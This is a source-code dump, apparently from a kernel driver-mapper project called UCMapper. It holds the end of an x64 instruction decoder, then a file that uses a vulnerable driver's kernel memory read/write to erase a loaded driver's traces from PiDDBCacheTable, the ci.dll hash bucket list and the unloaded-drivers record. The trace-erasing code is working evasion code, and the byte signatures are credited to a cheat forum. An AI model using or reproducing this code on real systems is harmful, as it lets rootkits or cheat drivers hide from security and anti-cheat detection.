188 | hs->modrm_mod = m_mod = c >> 6;
189 | hs->modrm_rm = m_rm = c & 7;
190 | hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
191 |
192 | if (x && ((x << m_reg) & 0x80))
193 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
194 |
195 | if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
196 | UCHAR t = opcode - 0xd9;
197 | if (m_mod == 3) {
198 | ht = hde64_table + DELTA_FPU_MODRM + t * 8;
199 | t = ht[m_reg] << m_rm;
200 | } else {
201 | ht = hde64_table + DELTA_FPU_REG;
202 | t = ht[t] << m_reg;
203 | }
204 | if (t & 0x80)
205 | hs->flags |= F_ERROR | F_ERROR_OPCODE;
206 | }
207 |
208 | if (pref & PRE_LOCK) {
209 | if (m_mod == 3) {
210 | hs->flags |= F_ERROR | F_ERROR_LOCK;
211 | } else {
212 | UCHAR *table_end, prev_punch = opcode;
213 | if (hs->opcode2) {
214 | ht = hde64_table + DELTA_OP2_LOCK_OK;
215 | table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
216 | } else {
217 | ht = hde64_table + DELTA_OP_LOCK_OK;
218 | table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
219 | prev_punch &= -2;
220 | }
221 | for (; ht != table_end; ht++)
222 | if (*ht++ == prev_punch) {
223 | if (!((*ht << m_reg) & 0x80))
224 | goto no_lock_error;
225 | else
226 | break;
227 | }
228 | hs->flags |= F_ERROR | F_ERROR_LOCK;
229 | no_lock_error:;
230 | }
231 | }
232 |
233 | if (hs->opcode2) {
234 | switch (opcode) {
235 | case 0x20:
236 | case 0x22:
237 | m_mod = 3;
238 | if (m_reg > 4 || m_reg == 1)
239 | goto error_operand;
240 | else
241 | goto no_error_operand;
242 | case 0x21:
243 | case 0x23:
244 | m_mod = 3;
245 | if (m_reg == 4 || m_reg == 5)
246 | goto error_operand;
247 | else
248 | goto no_error_operand;
249 | }
250 | } else {
251 | switch (opcode) {
252 | case 0x8c:
253 | if (m_reg > 5)
254 | goto error_operand;
255 | else
256 | goto no_error_operand;
257 | case 0x8e:
258 | if (m_reg == 1 || m_reg > 5)
259 | goto error_operand;
260 | else
261 | goto no_error_operand;
262 | }
263 | }
264 |
265 | if (m_mod == 3) {
266 | UCHAR* table_end;
267 | if (hs->opcode2) {
268 | ht = hde64_table + DELTA_OP2_ONLY_MEM;
269 | table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM;
270 | } else {
271 | ht = hde64_table + DELTA_OP_ONLY_MEM;
272 | table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
273 | }
274 | for (; ht != table_end; ht += 2)
275 | if (*ht++ == opcode) {
276 | if (*ht++ & pref && !((*ht << m_reg) & 0x80))
277 | goto error_operand;
278 | else
279 | break;
280 | }
281 | goto no_error_operand;
282 | } else if (hs->opcode2) {
283 | switch (opcode) {
284 | case 0x50:
285 | case 0xd7:
286 | case 0xf7:
287 | if (pref & (PRE_NONE | PRE_66))
288 | goto error_operand;
289 | break;
290 | case 0xd6:
291 | if (pref & (PRE_F2 | PRE_F3))
292 | goto error_operand;
293 | break;
294 | case 0xc5:
295 | goto error_operand;
296 | }
297 | goto no_error_operand;
298 | } else
299 | goto no_error_operand;
300 |
301 | error_operand:
302 | hs->flags |= F_ERROR | F_ERROR_OPERAND;
303 | no_error_operand:
304 |
305 | c = *p++;
306 | if (m_reg <= 1) {
307 | if (opcode == 0xf6)
308 | cflags |= C_IMM8;
309 | else if (opcode == 0xf7)
310 | cflags |= C_IMM_P66;
311 | }
312 |
313 | switch (m_mod) {
314 | case 0:
315 | if (pref & PRE_67) {
316 | if (m_rm == 6)
317 | disp_size = 2;
318 | } else if (m_rm == 5)
319 | disp_size = 4;
320 | break;
321 | case 1:
322 | disp_size = 1;
323 | break;
324 | case 2:
325 | disp_size = 2;
326 | if (!(pref & PRE_67))
327 | disp_size <<= 1;
328 | }
329 |
330 | if (m_mod != 3 && m_rm == 4) {
331 | hs->flags |= F_SIB;
332 | p++;
333 | hs->sib = c;
334 | hs->sib_scale = c >> 6;
335 | hs->sib_index = (c & 0x3f) >> 3;
336 | if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
337 | disp_size = 4;
338 | }
339 |
340 | p--;
341 | switch (disp_size) {
342 | case 1:
343 | hs->flags |= F_DISP8;
344 | hs->disp.disp8 = *p;
345 | break;
346 | case 2:
347 | hs->flags |= F_DISP16;
348 | hs->disp.disp16 = *(USHORT*)p;
349 | break;
350 | case 4:
351 | hs->flags |= F_DISP32;
352 | hs->disp.disp32 = *(ULONG*)p;
353 | }
354 | p += disp_size;
355 | } else if (pref & PRE_LOCK)
356 | hs->flags |= F_ERROR | F_ERROR_LOCK;
357 |
358 | if (cflags & C_IMM_P66) {
359 | if (cflags & C_REL32) {
360 | if (pref & PRE_66) {
361 | hs->flags |= F_IMM16 | F_RELATIVE;
362 | hs->imm.imm16 = *(USHORT*)p;
363 | p += 2;
364 | goto disasm_done;
365 | }
366 | goto rel32_ok;
367 | }
368 | if (op64) {
369 | hs->flags |= F_IMM64;
370 | hs->imm.imm64 = *(ULONGLONG*)p;
371 | p += 8;
372 | } else if (!(pref & PRE_66)) {
373 | hs->flags |= F_IMM32;
374 | hs->imm.imm32 = *(ULONG*)p;
375 | p += 4;
376 | } else
377 | goto imm16_ok;
378 | }
379 |
380 | if (cflags & C_IMM16) {
381 | imm16_ok:
382 | hs->flags |= F_IMM16;
383 | hs->imm.imm16 = *(USHORT*)p;
384 | p += 2;
385 | }
386 | if (cflags & C_IMM8) {
387 | hs->flags |= F_IMM8;
388 | hs->imm.imm8 = *p++;
389 | }
390 |
391 | if (cflags & C_REL32) {
392 | rel32_ok:
393 | hs->flags |= F_IMM32 | F_RELATIVE;
394 | hs->imm.imm32 = *(ULONG*)p;
395 | p += 4;
396 | } else if (cflags & C_REL8) {
397 | hs->flags |= F_IMM8 | F_RELATIVE;
398 | hs->imm.imm8 = *p++;
399 | }
400 |
401 | disasm_done:
402 |
403 | if ((hs->len = (UCHAR)(p - (UCHAR*)code)) > 15) {
404 | hs->flags |= F_ERROR | F_ERROR_LENGTH;
405 | hs->len = 15;
406 | }
407 |
408 | return (unsigned int)hs->len;
409 | }
410 |
411 | #pragma warning(pop)
412 |
--------------------------------------------------------------------------------
/UCMapper/driverlist.c:
--------------------------------------------------------------------------------
1 | #include "main.h"
2 |
3 | #define WINDOWS_11_22H2
4 | #if defined(WINDOWS_11_22H2)
5 | //SigMakerEx: Finding signature for 0000000086A1A2.
6 | //Address SIG: 0x0000000086A1A2, 22 bytes 12, wildcards.
7 | //IDA: "48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C3 48 83 C4"
8 | //"\x48\x8D\x0D\xCC\xCC\xCC\xCC\xE8\xCC\xCC\xCC\xCC\xE8\xCC\xCC\xCC\xCC\x8B\xC3\x48\x83\xC4", "xxx????x????x????xxxxx"
9 |
10 | static UCHAR PiDDBLockPattern[]
11 | = "\x48\x8D\x0D\xCC\xCC\xCC\xCC\xE8\xCC\xCC\xCC\xCC\xE8\xCC\xCC\xCC\xCC\x8B\xC3\x48\x83\xC4";
12 | static CHAR PiDDBLockMask[] = "xxx????x????x????xxxxx";
13 |
14 | //SigMakerEx: Finding signature for 0000000074DFB2.
15 | //Address SIG: 0x0000000074DFB2, 14 bytes 4, wildcards.
16 | //IDA: "48 8D 0D ?? ?? ?? ?? 45 33 F6 48 89 44 24"
17 | //"\x48\x8D\x0D\xCC\xCC\xCC\xCC\x45\x33\xF6\x48\x89\x44\x24", "xxx????xxxxxxx"
18 |
19 | static UCHAR PiDDBCacheTablePattern[] = "\x48\x8D\x0D\xCC\xCC\xCC\xCC\x45\x33\xF6\x48\x89\x44\x24";
20 | static CHAR PiDDBCacheTableMask[] = "xxx????xxxxxxx";
21 | static UCHAR HashBucketListPattern[]
22 | = "\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00";
23 | static CHAR HashBucketListMask[] = "xxx????x?xxxxxxx";
24 | static UCHAR HashCacheLockPattern[] = "\x48\x8D\x0D";
25 | static CHAR HashCacheLockMask[] = "xxx";
26 | #endif
27 |
28 | #if 1
29 | //
30 | // Main code.
31 | //
32 |
33 | BOOLEAN MmUnloadedDriver(_In_ PDEVICE_DRIVER_OBJECT Driver)
34 | {
35 | ULONGLONG ProcessAddr;
36 | ULONGLONG DeviceObject;
37 | ULONGLONG DriverObject;
38 | ULONGLONG DriverSection;
39 | UNICODE_STRING BaseDllName;
40 | WCHAR DriverName[MAX_PATH];
41 | NTSTATUS Status;
42 |
43 | Status = ObGetObjectByHandle(Driver->DeviceHandle, &ProcessAddr);
44 |
45 | if NT_SUCCESS (Status) {
46 | RtlSecureZeroMemory(DriverName, sizeof(DriverName));
47 | if NT_ERROR (
48 | Driver->ReadMemory(
49 | Driver->DeviceHandle,
50 | ProcessAddr + 0x8,
51 | &DeviceObject,
52 | sizeof(DeviceObject))
53 | || !DeviceObject) {
54 | DEBUG_PRINT("[!] Failed to find DeviceObject");
55 | return FALSE;
56 | }
57 |
58 | if NT_ERROR (
59 | Driver->ReadMemory(
60 | Driver->DeviceHandle,
61 | DeviceObject + offsetof(DEVICE_OBJECT, DriverObject),
62 | &DriverObject,
63 | sizeof(DriverObject))
64 | || !DriverObject) {
65 | DEBUG_PRINT("[!] Failed to find DriverObject");
66 | return FALSE;
67 | }
68 |
69 | if NT_ERROR (
70 | Driver->ReadMemory(
71 | Driver->DeviceHandle,
72 | DriverObject + offsetof(DRIVER_OBJECT, DriverSection),
73 | &DriverSection,
74 | sizeof(DriverSection))
75 | || !DriverSection) {
76 | DEBUG_PRINT("[!] Failed to find DriverSection");
77 | return FALSE;
78 | }
79 |
80 | if NT_ERROR (
81 | Driver->ReadMemory(
82 | Driver->DeviceHandle,
83 | DriverSection + offsetof(LDR_DATA_TABLE_ENTRY, BaseDllName),
84 | &BaseDllName,
85 | sizeof(BaseDllName))
86 | || BaseDllName.Length == 0) {
87 | DEBUG_PRINT("[!] Failed to find DriverName");
88 | return FALSE;
89 | }
90 |
91 | if NT_ERROR (Driver->ReadMemory(
92 | Driver->DeviceHandle,
93 | (ULONGLONG)BaseDllName.Buffer,
94 | DriverName,
95 | BaseDllName.Length)) {
96 | DEBUG_PRINT("[!] Failed to read DriverName");
97 | return FALSE;
98 | }
99 |
100 | DEBUG_PRINT("[+] Found %ws on Ldr Table Entry.", DriverName);
101 | // MiRememberUnloadedDriver will check
102 | // if the length > 0 to save the unloaded
103 | // driver
104 | BaseDllName.Length = 0;
105 | if NT_ERROR (Driver->WriteMemory(
106 | Driver->DeviceHandle,
107 | DriverSection + offsetof(LDR_DATA_TABLE_ENTRY, BaseDllName),
108 | &BaseDllName,
109 | sizeof(BaseDllName))) {
110 | DEBUG_PRINT("[!] Failed to write driver name length");
111 | return FALSE;
112 | }
113 |
114 | return TRUE;
115 | }
116 |
117 | return FALSE;
118 | }
119 |
120 | BOOLEAN PidDBCacheTable(
121 | _In_ PDEVICE_DRIVER_OBJECT Driver,
122 | _In_ LPWSTR DriverFilename,
123 | _In_ ULONG TimeDateStamp)
124 | {
125 | PVOID PiDDBLock;
126 | PRTL_AVL_TABLE PiDDBCacheTable;
127 | RTL_PROCESS_MODULE_INFORMATION KernelModule;
128 | PDDBCACHE_ENTRY pFoundEntry;
129 | DDBCACHE_ENTRY LocalEntry;
130 | CHAR v1[] = {'n', 't', 'o', 's', 'k', 'r', 'n', 'l', '.', 'e', 'x', 'e', '\0'};
131 |
132 | RtlZeroMemory(&KernelModule, sizeof(KernelModule));
133 | MmGetSystemModuleA(v1, &KernelModule);
134 |
135 | PiDDBLock = KiFindPattern(
136 | Driver,
137 | KernelModule.ImageBase,
138 | KernelModule.ImageSize,
139 | PiDDBLockPattern,
140 | PiDDBLockMask);
141 |
142 | PiDDBCacheTable = KiFindPattern(
143 | Driver,
144 | KernelModule.ImageBase,
145 | KernelModule.ImageSize,
146 | PiDDBCacheTablePattern,
147 | PiDDBCacheTableMask);
148 |
149 | if (PiDDBLock && PiDDBCacheTable) {
150 | PiDDBLock = KiRelativeVirtualAddress(Driver, PiDDBLock, 3, 7);
151 | PiDDBCacheTable = KiRelativeVirtualAddress(Driver, PiDDBCacheTable, 3, 7);
152 | }
153 |
154 | if (PiDDBLock == 0 || PiDDBCacheTable == 0) {
155 | DEBUG_PRINT("[-] PiDDBLock: 0x%p.", PiDDBLock);
156 | DEBUG_PRINT("[-] PiDDBCacheTable: 0x%p.", PiDDBCacheTable);
157 |
158 | return FALSE;
159 | }
160 |
161 | //
162 | // context part is not used by lookup, lock or delete why we should use it?
163 | //
164 |
165 | if NT_ERROR (KiExAcquireResourceExclusiveLite(Driver, PiDDBLock, TRUE)) {
166 | DEBUG_PRINT("[-] Can't lock PiDDBCacheTable");
167 | return FALSE;
168 | }
169 |
170 | //
171 | // search our entry in the table
172 | //
173 | LocalEntry.TimeDateStamp = TimeDateStamp;
174 | RtlInitUnicodeString(&LocalEntry.Name, DriverFilename);
175 | if (NT_ERROR(
176 | KiRtlLookupElementGenericTableAvl(Driver, PiDDBCacheTable, &LocalEntry, &pFoundEntry))
177 | || pFoundEntry == NULL) {
178 | DEBUG_PRINT("[-] Not found in cache");
179 | KiExReleaseResourceLite(Driver, PiDDBLock);
180 | return FALSE;
181 | }
182 |
183 | // first, unlink from the list
184 | PLIST_ENTRY PreviousList = NULL;
185 | if NT_ERROR (Driver->ReadMemory(
186 | Driver->DeviceHandle,
187 | (ULONGLONG)pFoundEntry + FIELD_OFFSET(DDBCACHE_ENTRY, List.Blink),
188 | &PreviousList,
189 | sizeof(PLIST_ENTRY))) {
190 | DEBUG_PRINT("[-] Can't get prev entry");
191 | KiExReleaseResourceLite(Driver, PiDDBLock);
192 | return FALSE;
193 | }
194 |
195 | PLIST_ENTRY next = NULL;
196 | if NT_ERROR (Driver->ReadMemory(
197 | Driver->DeviceHandle,
198 | (ULONGLONG)pFoundEntry + FIELD_OFFSET(DDBCACHE_ENTRY, List.Flink),
199 | &next,
200 | sizeof(PLIST_ENTRY))) {
201 | DEBUG_PRINT("[-] Can't get next entry");
202 | KiExReleaseResourceLite(Driver, PiDDBLock);
203 | return FALSE;
204 | }
205 |
206 | if NT_ERROR (Driver->WriteMemory(
207 | Driver->DeviceHandle,
208 | (ULONGLONG)PreviousList + FIELD_OFFSET(struct _LIST_ENTRY, Flink),
209 | &next,
210 | sizeof(PLIST_ENTRY))) {
211 | DEBUG_PRINT("[-] Can't set next entry");
212 | KiExReleaseResourceLite(Driver, PiDDBLock);
213 | return FALSE;
214 | }
215 |
216 | if NT_ERROR (Driver->WriteMemory(
217 | Driver->DeviceHandle,
218 | (ULONGLONG)next + FIELD_OFFSET(struct _LIST_ENTRY, Blink),
219 | &PreviousList,
220 | sizeof(PLIST_ENTRY))) {
221 | DEBUG_PRINT("[-] Can't set prev entry");
222 | KiExReleaseResourceLite(Driver, PiDDBLock);
223 | return FALSE;
224 | }
225 |
226 | // then delete the element from the avl table
227 | if NT_ERROR (KiRtlDeleteElementGenericTableAvl(Driver, PiDDBCacheTable, pFoundEntry)) {
228 | DEBUG_PRINT("[-] Can't delete from PiDDBCacheTable");
229 | KiExReleaseResourceLite(Driver, PiDDBLock);
230 | return FALSE;
231 | }
232 |
233 | //
234 | // Decrement delete count
235 | //
236 |
237 | ULONG cacheDeleteCount = 0;
238 |
239 | Driver->ReadMemory(
240 | Driver->DeviceHandle,
241 | (ULONGLONG)PiDDBCacheTable + (FIELD_OFFSET(struct _RTL_AVL_TABLE, DeleteCount)),
242 | &cacheDeleteCount,
243 | sizeof(ULONG));
244 |
245 | if (cacheDeleteCount > 0) {
246 | cacheDeleteCount--;
247 | if NT_ERROR (Driver->WriteMemory(
248 | Driver->DeviceHandle,
249 | (ULONGLONG)PiDDBCacheTable
250 | + (FIELD_OFFSET(struct _RTL_AVL_TABLE, DeleteCount)),
251 | &cacheDeleteCount,
252 | sizeof(ULONG))) {
253 | DEBUG_PRINT("[-] Failed WriteSystemMemory to cacheDeleteCount.");
254 | }
255 | }
256 |
257 | //
258 | // release the ddb resource lock
259 | //
260 |
261 | KiExReleaseResourceLite(Driver, PiDDBLock);
262 | DEBUG_PRINT("[+] PidDb Cleaned.");
263 | return TRUE;
264 | }
265 |
266 | BOOLEAN KernelHashBucketList(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ LPWSTR DriverFilename)
267 | {
268 | RTL_PROCESS_MODULE_INFORMATION ModuleInformation;
269 | CHAR v1[] = {'c', 'i', '.', 'd', 'l', 'l', '\0'};
270 |
271 |
272 | if NT_ERROR (MmGetSystemModuleA(v1, &ModuleInformation))
273 | return FALSE;
274 |
275 | // Thanks @KDIo3 and @Swiftik from UnknownCheats
276 | PVOID HashBucketList = KiFindPattern(
277 | Driver,
278 | ModuleInformation.ImageBase,
279 | ModuleInformation.ImageSize,
280 | HashBucketListPattern,
281 | HashBucketListMask);
282 |
283 | PVOID HashBucketLock = KiFindPattern(
284 | Driver,
285 | (PCHAR)HashBucketList - 50,
286 | 50,
287 | HashCacheLockPattern,
288 | HashCacheLockMask);
289 |
290 | if (HashBucketList && HashBucketLock) {
291 | HashBucketList = KiRelativeVirtualAddress(Driver, HashBucketList, 3, 7);
292 | HashBucketLock = KiRelativeVirtualAddress(Driver, HashBucketLock, 3, 7);
293 | }
294 |
295 | if (!HashBucketList || !HashBucketLock) {
296 | DEBUG_PRINT("[-] HashBucketList: 0x%p.", HashBucketList);
297 | DEBUG_PRINT("[-] HashBucketLock: 0x%p.", HashBucketLock);
298 | return FALSE;
299 | }
300 |
301 | if NT_SUCCESS (KiExAcquireResourceExclusiveLite(Driver, HashBucketLock, TRUE)) {
302 | PHASH_BUCKET_ENTRY HashBucketPrev = HashBucketList;
303 | PHASH_BUCKET_ENTRY HashBucketEntry = NULL;
304 |
305 | if NT_ERROR (Driver->ReadMemory(
306 | Driver->DeviceHandle,
307 | (ULONGLONG)HashBucketPrev,
308 | &HashBucketEntry,
309 | sizeof(HashBucketEntry))) {
310 | DEBUG_PRINT("[-] Failed to read first HashBucketEntry: 0x%p.", HashBucketEntry);
311 | KiExReleaseResourceLite(Driver, HashBucketLock);
312 | return FALSE;
313 | }
314 |
315 | if (!HashBucketEntry) {
316 | DEBUG_PRINT("[!] g_KernelHashBucketList looks empty!");
317 | KiExReleaseResourceLite(Driver, HashBucketLock);
318 | return TRUE;
319 | }
320 |
321 | while (HashBucketEntry != HashBucketPrev) {
322 | PHASH_BUCKET_ENTRY HashBucketNext = 0;
323 | HASH_BUCKET_ENTRY HashBucket;
324 | LPWSTR lpDriverName;
325 |
326 | if NT_ERROR (Driver->ReadMemory(
327 | Driver->DeviceHandle,
328 | (ULONGLONG)HashBucketEntry,
329 | &HashBucket,
330 | sizeof(HashBucket))) {
331 | DEBUG_PRINT("[-] Failed reading HashBucketEntry.");
332 | break;
333 | }
334 |
335 | lpDriverName = RtlAllocateMemory(HashBucket.DriverName.MaximumLength);
336 | if NT_ERROR (Driver->ReadMemory(
337 | Driver->DeviceHandle,
338 | (ULONGLONG)HashBucket.DriverName.Buffer,
339 | lpDriverName,
340 | HashBucket.DriverName.Length)) {
341 | DEBUG_PRINT("[-] Failed reading HashBucketEntry DriverName.");
342 | RtlFreeMemory(lpDriverName);
343 | break;
344 | }
345 |
346 | if (wcsstr(lpDriverName, DriverFilename)) {
347 | if NT_ERROR (Driver->ReadMemory(
348 | Driver->DeviceHandle,
349 | (ULONGLONG)HashBucketEntry,
350 | &HashBucketNext,
351 | sizeof(HashBucketNext))) {
352 | DEBUG_PRINT("[-] Failed reading HashBucketEntry Next Entry.");
353 | RtlFreeMemory(lpDriverName);
354 | break;
355 | }
356 |
357 | if NT_ERROR (Driver->WriteMemory(
358 | Driver->DeviceHandle,
359 | (ULONGLONG)HashBucketPrev,
360 | &HashBucketNext,
361 | sizeof(HashBucketNext))) {
362 | DEBUG_PRINT("[-] Failed unlinking HashBucketEntry.");
363 | RtlFreeMemory(lpDriverName);
364 | break;
365 | }
366 |
367 | DEBUG_PRINT("[+] HashBucketEntry of %ws has been Cleaned.", lpDriverName);
368 | KiExFreePool(Driver, (ULONGLONG)HashBucketEntry);
369 | KiExReleaseResourceLite(Driver, HashBucketLock);
370 | RtlFreeMemory(lpDriverName);
371 | return TRUE;
372 | }
373 |
374 | RtlFreeMemory(lpDriverName);
375 |
376 | // Read Next
377 | HashBucketPrev = HashBucketEntry;
378 | if NT_ERROR (Driver->ReadMemory(
379 | Driver->DeviceHandle,
380 | (ULONGLONG)HashBucketEntry,
381 | &HashBucketEntry,
382 | sizeof(HashBucketEntry))) {
383 | DEBUG_PRINT(
384 | "[-] Failed to read HashBucketEntry next entry: 0x%p.",
385 | HashBucketEntry);
386 | break;
387 | }
388 | }
389 |
390 | KiExReleaseResourceLite(Driver, HashBucketLock);
391 | }
392 |
393 | return FALSE;
394 | }
395 |
396 | //
397 | // Public api
398 | //
399 |
400 | NTSTATUS RemoveDriverRuntimeList(IN PDEVICE_DRIVER_OBJECT Driver, IN LPCWSTR DriverName)
401 | {
402 | NTSTATUS Status;
403 | RTL_PROCESS_MODULE_INFORMATION Module;
404 | extern ULONGLONG DriverResource[5517];
405 |
406 | Status = MmGetSystemModuleW(DriverName, &Module);
407 | if NT_SUCCESS (Status) {
408 | Status = STATUS_ACCESS_DENIED;
409 | if (PidDBCacheTable(
410 | Driver,
411 | (LPWSTR)DriverName,
412 | RtlImageNtHeader(DriverResource)->FileHeader.TimeDateStamp)) {
413 | if (KernelHashBucketList(Driver, (LPWSTR)DriverName)) {
414 | if (MmUnloadedDriver(Driver))
415 | Status = STATUS_SUCCESS;
416 | }
417 | }
418 | }
419 |
420 | return Status;
421 | }
422 |
423 | #else
424 | typedef struct _DRIVER_RUNTIME_WORKER_CONTEXT
425 | {
426 | struct
427 | {
428 | UNICODE_STRING DriverName;
429 | };
430 |
431 | struct
432 | {
433 | PERESOURCE PiDDBLock;
434 | PRTL_AVL_TABLE PiDDBCacheTable;
435 | PERESOURCE HashBucketLock;
436 | PHASH_BUCKET_ENTRY HashBucketList;
437 | };
438 |
439 | KERNEL_IMPORT_TABLE Table;
440 | } DRIVER_RUNTIME_WORKER_CONTEXT, *PDRIVER_RUNTIME_WORKER_CONTEXT;
441 |
442 | FORCEINLINE PKLDR_DATA_TABLE_ENTRY KERNEL_MODE_API
443 | LookupDataTableEntry(IN PKERNEL_IMPORT_TABLE Table, IN PUNICODE_STRING DriverName)
444 | {
445 | PLIST_ENTRY Entry;
446 | PKLDR_DATA_TABLE_ENTRY CurrentTable;
447 | PKLDR_DATA_TABLE_ENTRY Result;
448 | PKLDR_DATA_TABLE_ENTRY KernelTable;
449 |
450 | Result = NULL;
451 | KernelTable
452 | = CONTAINING_RECORD(Table->PsLoadedModuleList, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
453 |
454 | for (Entry = KernelTable->InLoadOrderLinks.Flink; Entry != &KernelTable->InLoadOrderLinks;
455 | Entry = Entry->Flink) {
456 | CurrentTable = CONTAINING_RECORD(Entry, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
457 | if (Table->RtlEqualUnicodeString(&CurrentTable->BaseDllName, DriverName, TRUE)) {
458 | Result = CurrentTable;
459 | break;
460 | }
461 | }
462 | return Result;
463 | }
464 |
465 | static NTSTATUS KERNEL_MODE_API
466 | RemoveDriverRuntimeListWorker(IN PDRIVER_RUNTIME_WORKER_CONTEXT Context)
467 | {
468 | PKLDR_DATA_TABLE_ENTRY DriverTable;
469 | NTSTATUS Status;
470 | DDBCACHE_ENTRY LocalEntry;
471 | PDDBCACHE_ENTRY CacheEntry;
472 |
473 | PKERNEL_IMPORT_TABLE Import;
474 |
475 | Import = &Context->Table;
476 | DriverTable = LookupDataTableEntry(Import, &Context->DriverName);
477 | if (DriverTable == NULL) {
478 | Status = STATUS_INVALID_PARAMETER;
479 | return Status;
480 | }
481 |
482 | // DDB_CACHE_ENTRY
483 | Status = STATUS_RESOURCE_NOT_OWNED;
484 | if (Import->ExAcquireResourceExclusiveLite(Context->PiDDBLock, TRUE)) {
485 | LocalEntry.TimeDateStamp = DriverTable->TimeDateStamp;
486 | LocalEntry.Name.Buffer = DriverTable->BaseDllName.Buffer;
487 | LocalEntry.Name.Length = DriverTable->BaseDllName.Length;
488 | LocalEntry.Name.MaximumLength = DriverTable->BaseDllName.MaximumLength;
489 | CacheEntry = Import->RtlLookupElementGenericTableAvl(Context->PiDDBCacheTable, &LocalEntry);
490 | Status = STATUS_NOT_FOUND;
491 |
492 | if (CacheEntry) {
493 | PLIST_ENTRY NextEntry, PrevEntry;
494 | NextEntry = CacheEntry->List.Flink;
495 | PrevEntry = CacheEntry->List.Blink;
496 | PrevEntry->Flink = NextEntry;
497 | NextEntry->Blink = PrevEntry;
498 |
499 | if (Import->RtlDeleteElementGenericTableAvl(Context->PiDDBCacheTable, CacheEntry)) {
500 | if (Context->PiDDBCacheTable->DeleteCount > 0) {
501 | Context->PiDDBCacheTable->DeleteCount--;
502 | Status = STATUS_SUCCESS;
503 | }
504 | }
505 | }
506 | Import->ExReleaseResourceLite(Context->PiDDBLock);
507 | }
508 |
509 | // HASH_BUCKET_LIST
510 | if NT_SUCCESS (Status) {
511 | PHASH_BUCKET_ENTRY HashPrevEntry;
512 | USHORT DriverNameVA;
513 | LPWSTR DriverNameBuffer;
514 | UNICODE_STRING BaseDriverName;
515 |
516 | Status = STATUS_RESOURCE_NOT_OWNED;
517 | if (Import->ExAcquireResourceExclusiveLite(Context->HashBucketLock, TRUE)) {
518 | HashPrevEntry = Context->HashBucketList;
519 |
520 | Status = STATUS_MEMORY_NOT_ALLOCATED;
521 | while (Context->HashBucketList->Next != NULL) {
522 | if (Context->HashBucketList->DriverName.Buffer) {
523 | DriverNameVA = Context->HashBucketList->DriverName.Length
524 | - DriverTable->BaseDllName.Length;
525 | DriverNameVA /= sizeof(WCHAR);
526 | DriverNameBuffer = Context->HashBucketList->DriverName.Buffer + DriverNameVA;
527 | Import->RtlInitUnicodeString(&BaseDriverName, DriverNameBuffer);
528 |
529 | Status = STATUS_NOT_MAPPED_DATA;
530 | if (Import->RtlEqualUnicodeString(
531 | &BaseDriverName,
532 | &DriverTable->BaseDllName,
533 | TRUE)
534 | == TRUE) {
535 | HashPrevEntry->Next = Context->HashBucketList->Next;
536 |
537 | Import->memset(
538 | Context->HashBucketList->CertHash,
539 | 0,
540 | sizeof(Context->HashBucketList->CertHash));
541 |
542 | Import->memset(
543 | Context->HashBucketList->DriverName.Buffer,
544 | 0,
545 | Context->HashBucketList->DriverName.Length);
546 |
547 | Import->memset(
548 | &Context->HashBucketList->DriverName,
549 | 0,
550 | sizeof(Context->HashBucketList->DriverName));
551 |
552 | Import->ExFreePoolWithTag(Context->HashBucketList, 0);
553 | Context->HashBucketList = NULL;
554 |
555 | Status = STATUS_SUCCESS;
556 | break;
557 | }
558 | }
559 |
560 | HashPrevEntry = Context->HashBucketList;
561 | Context->HashBucketList = Context->HashBucketList->Next;
562 | }
563 |
564 | Import->ExReleaseResourceLite(Context->HashBucketLock);
565 | }
566 | }
567 |
568 | DriverTable->BaseDllName.Length = 0;
569 | return Status;
570 | }
571 |
572 | NTSTATUS RemoveDriverRuntimeList(IN PDEVICE_DRIVER_OBJECT Driver, IN LPCWSTR DriverName)
573 | {
574 | NTSTATUS Status;
575 | RTL_PROCESS_MODULE_INFORMATION SystemModule;
576 | RTL_PROCESS_MODULE_INFORMATION CiModule;
577 | PVOID PiDDBLock;
578 | PRTL_AVL_TABLE PiDDBCacheTable;
579 | ULONGLONG WorkerRoutine;
580 | DRIVER_RUNTIME_WORKER_CONTEXT WorkerContext;
581 | UCHAR Storage[12];
582 | SIZE_T WorkerSize;
583 |
584 | CHAR v1[] = {'n', 't', 'o', 's', 'k', 'r', 'n', 'l', '.', 'e', 'x', 'e', '\0'};
585 | CHAR v2[] = {'c', 'i', '.', 'd', 'l', 'l', '\0'};
586 |
587 | // Query Module Information.
588 | RtlSecureZeroMemory(&WorkerContext, sizeof(WorkerContext));
589 | RtlSecureZeroMemory(&SystemModule, sizeof(SystemModule));
590 | RtlSecureZeroMemory(&CiModule, sizeof(CiModule));
591 | Status = MmGetSystemModuleA(v1, &SystemModule);
592 |
593 | if NT_SUCCESS (Status)
594 | Status = MmGetSystemModuleA(v2, &CiModule);
595 |
596 | if NT_ERROR (Status) {
597 | DEBUG_PRINT_NTSTATUS(Status);
598 | return Status;
599 | }
600 |
601 | // Find all needed pattern.
602 | PiDDBLock = KiFindPattern(
603 | Driver,
604 | SystemModule.ImageBase,
605 | SystemModule.ImageSize,
606 | PiDDBLockPattern,
607 | PiDDBLockMask);
608 |
609 | PiDDBCacheTable = KiFindPattern(
610 | Driver,
611 | SystemModule.ImageBase,
612 | SystemModule.ImageSize,
613 | PiDDBCacheTablePattern,
614 | PiDDBCacheTableMask);
615 |
616 | // Thanks @KDIo3 and @Swiftik from UnknownCheats
617 | PVOID HashBucketList = KiFindPattern(
618 | Driver,
619 | CiModule.ImageBase,
620 | CiModule.ImageSize,
621 | HashBucketListPattern,
622 | HashBucketListMask);
623 |
624 | PVOID HashBucketLock = KiFindPattern(
625 | Driver,
626 | (PCHAR)HashBucketList - 50,
627 | 50,
628 | HashCacheLockPattern,
629 | HashCacheLockMask);
630 |
631 | if (PiDDBLock && PiDDBCacheTable && HashBucketList && HashBucketLock) {
632 | PiDDBLock = KiRelativeVirtualAddress(Driver, PiDDBLock, 3, 7);
